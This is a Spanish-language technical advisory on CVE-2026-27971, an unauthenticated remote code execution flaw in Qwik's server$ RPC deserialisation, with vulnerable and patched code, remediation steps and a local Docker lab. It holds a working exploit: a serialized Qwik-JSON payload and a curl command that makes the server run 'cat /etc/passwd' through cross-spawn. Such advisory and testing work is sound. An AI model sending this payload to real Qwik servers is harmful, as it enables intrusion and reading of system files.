Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

CVE-2026-27971: ejecución remota de código sin autenticación en server$ de Qwik

Análisis técnico de CVE-2026-27971, una vulnerabilidad crítica de ejecución remota de código sin autenticación (CVSS 9.2) en Qwik (< 1.19.1). La deserialización insegura en el flujo RPC de server$ permite reconstruir objetos QRL controlados por el atacante a partir de solicitudes application/qwik-json, lo que habilita la resolución de rutas de módulo y símbolos arbitrarios y, cuando require() está disponible, la ejecución remota de código mediante la invocación de una función del servidor especialmente manipulada.

CVE-2026-27971

RCE sin autenticación en server$ de Qwik mediante deserialización insegura

12 de marzo de 2026 · CVSS 9.2 Crítica · Qwik < 1.19.1

ID de CVE CVSS Afectadas Corregida
CVE-2026-27971 9.2 Crítica < 1.19.1 1.19.1+

Descripción general de CVE-2026-27971: RCE mediante la deserialización RPC de server$

El mecanismo RPC server$ de Qwik acepta solicitudes application/qwik-json y deserializa objetos controlados por el atacante en valores de tiempo de ejecución activos. En las versiones vulnerables, esta ruta de deserialización puede reconstruir un QRL que apunta a una ruta de módulo y a un nombre de símbolo arbitrarios. Si el entorno de ejecución del servidor aún dispone de require() nativo, la ruta de importación del servidor del framework puede utilizarse de forma abusiva para cargar módulos CommonJS elegidos por el atacante e invocar funciones exportadas con argumentos controlados por el atacante.

El problema afecta a los despliegues en los que el flujo server$ vulnerable del lado del servidor es accesible y require() está disponible en tiempo de ejecución. Se corrigió en Qwik 1.19.1, donde la ruta de importación del servidor ya no realiza importaciones dinámicas diferidas para entradas QRL no confiables.

En términos prácticos, un atacante remoto sin autenticación puede enviar una solicitud POST especialmente manipulada a:

POST /?qfunc=sync
Content-Type: application/qwik-json
X-QRL: sync

y obligar al servidor a resolver:

./node_modules/cross-spawn/index#sync

Esto convierte el cuerpo de la solicitud en una llamada remota a la función cross-spawn.sync(...).

Resolución insegura de server$ en CVE-2026-27971: de Qwik JSON a require()

El comportamiento vulnerable se entiende mejor como una cadena de tres pasos:

1. El cuerpo de la solicitud es analizado por `_deserializeData()` de Qwik
2. Un objeto QRL deserializado se trata como un destino legítimo de función `server$`
3. La ruta de importación del servidor resuelve mediante `require()` el chunk controlado por el atacante

La puerta de entrada de la solicitud

La puerta de entrada del lado del servidor es sencilla. Si el parámetro de consulta qfunc, la cabecera X-QRL y la cabecera Content-Type coinciden, la solicitud se trata como una invocación de server$:

if (
  fn &&
  req.headers['x-qrl'] === fn &&
  req.headers['content-type'] === 'application/qwik-json'
) {
  const data = _deserializeData(body);
  if (Array.isArray(data)) {
    const [qrl, ...args] = data;
    if (qrl && typeof qrl.getSymbol === 'function' && qrl.getHash() === fn) {
      const resolvedFn = await importSymbol(qrl.$chunk$, qrl.$symbol$);
      const result = await resolvedFn.apply(null, args);
    }
  }
}

No se trata de una API JSON convencional. El atacante no envía nombres de función y argumentos en texto plano. Envía el grafo de objetos serializado de Qwik, que reconstruye un objeto QRL activo durante la deserialización.

Por qué funciona el payload

El payload malicioso principal utilizado en el laboratorio es:

{"_objs":["\u0002./node_modules/cross-spawn/index#sync","id",[],["0","1","2"]],"_entry":"3"}

Tras _deserializeData(), queda así:

[
  qrl("./node_modules/cross-spawn/index", "sync"),
  "id",
  []
]

Por tanto, el entorno de ejecución acaba llamando a:

crossSpawn.sync("id", []);

La ruta de importación peligrosa

La resolución vulnerable del lado del servidor puede reducirse a esto:

async function importSymbol(url, symbolName) {
  let modulePath = String(url);
  if (!modulePath.endsWith('.js')) {
    modulePath += '.js';
  }

  const mod = require(modulePath);
  return mod[symbolName];
}

El problema es que url y symbolName proceden de una entrada serializada controlada por el atacante. Una vez que la deserialización reconstruye el QRL, el atacante controla tanto la ruta del módulo como la exportación que se invoca.

Prueba de concepto de CVE-2026-27971: cómo lograr la ejecución remota de código

Para validar el problema de forma segura, se construyó un laboratorio local con Docker con la siguiente configuración: qwik-vuln en 127.0.0.1:3000 con @builder.io/qwik@1.19.0

Configuración de la prueba

  • docker-compose.yaml
services:
  qwik-vuln:
    build:
      context: ./vulnerable
    ports:
      - "127.0.0.1:3000:3000"

Explotación

El siguiente comando curl logra la ejecución remota de código al entregar manualmente el payload Qwik-JSON serializado al endpoint vulnerable

curl -v -X POST "http://127.0.0.1:3000/?qfunc=sync" \
-H "Content-Type: application/qwik-json" \
-H "X-QRL: sync" \
-d '{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}'

Resultado

El contenedor vulnerable devolvió:

Ejecución remota de código con curl
Figura 1: ejecución remota de código con curl

Esto confirma la ejecución remota de cat /etc/passwd a través de la cadena de llamadas server$ deserializada.

CVE-2026-27971: plantilla de validación de Nuclei

Para la validación local de la plantilla, se creó una plantilla de Nuclei basada en id:

Validación de la detección con la plantilla de Nuclei
Figura 2: validación de la detección con la plantilla de Nuclei

Validación del objetivo vulnerable: el laboratorio vulnerable cumple las condiciones esperadas:

  • HTTP 200
  • application/qwik-json en las cabeceras de la respuesta
  • Salida del comando que coincide con uid=,gid=

CVE-2026-27971: la corrección en Qwik 1.19.1

El comportamiento corregido elimina del entorno de ejecución del servidor la peligrosa ruta de importación dinámica. En lugar de resolver chunks arbitrarios mediante require(), la rutina de importación del lado del servidor falla de forma segura:

async function importSymbol(_url, symbolName) {
  const regSym = global.__qwik_reg_symbols?.get(getSymbolHash(symbolName));
  if (regSym) {
    return regSym;
  }
  throw new Error(`Dynamic import failed for symbol '${symbolName}'`);
}

Este es el cambio de seguridad clave. El QRL deserializado aún puede existir como dato, pero ya no provoca la carga de módulos arbitrarios en el servidor.

Validación del control corregido

La misma plantilla de nuclei contra el control con el parche aplicado:

Validación del control de la corrección con Nuclei
Figura 3: validación del control de la corrección con Nuclei

devolvió:

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain

Invalid request

Corrección inmediata

  • Actualice Qwik a la versión 1.19.1 o posterior
  • Evite exponer rutas RPC server$ vulnerables en entornos de ejecución donde require() nativo esté disponible
  • Revise si los adaptadores del lado del servidor o los wrappers CJS personalizados reintroducen la resolución dinámica de módulos

Referencias

Recurso Enlace
Aviso de seguridad de Github GHSA-p9x5-jp3h-96mm https://github.com/advisories/GHSA-p9x5-jp3h-96mm
Plantilla de Nuclei https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-27971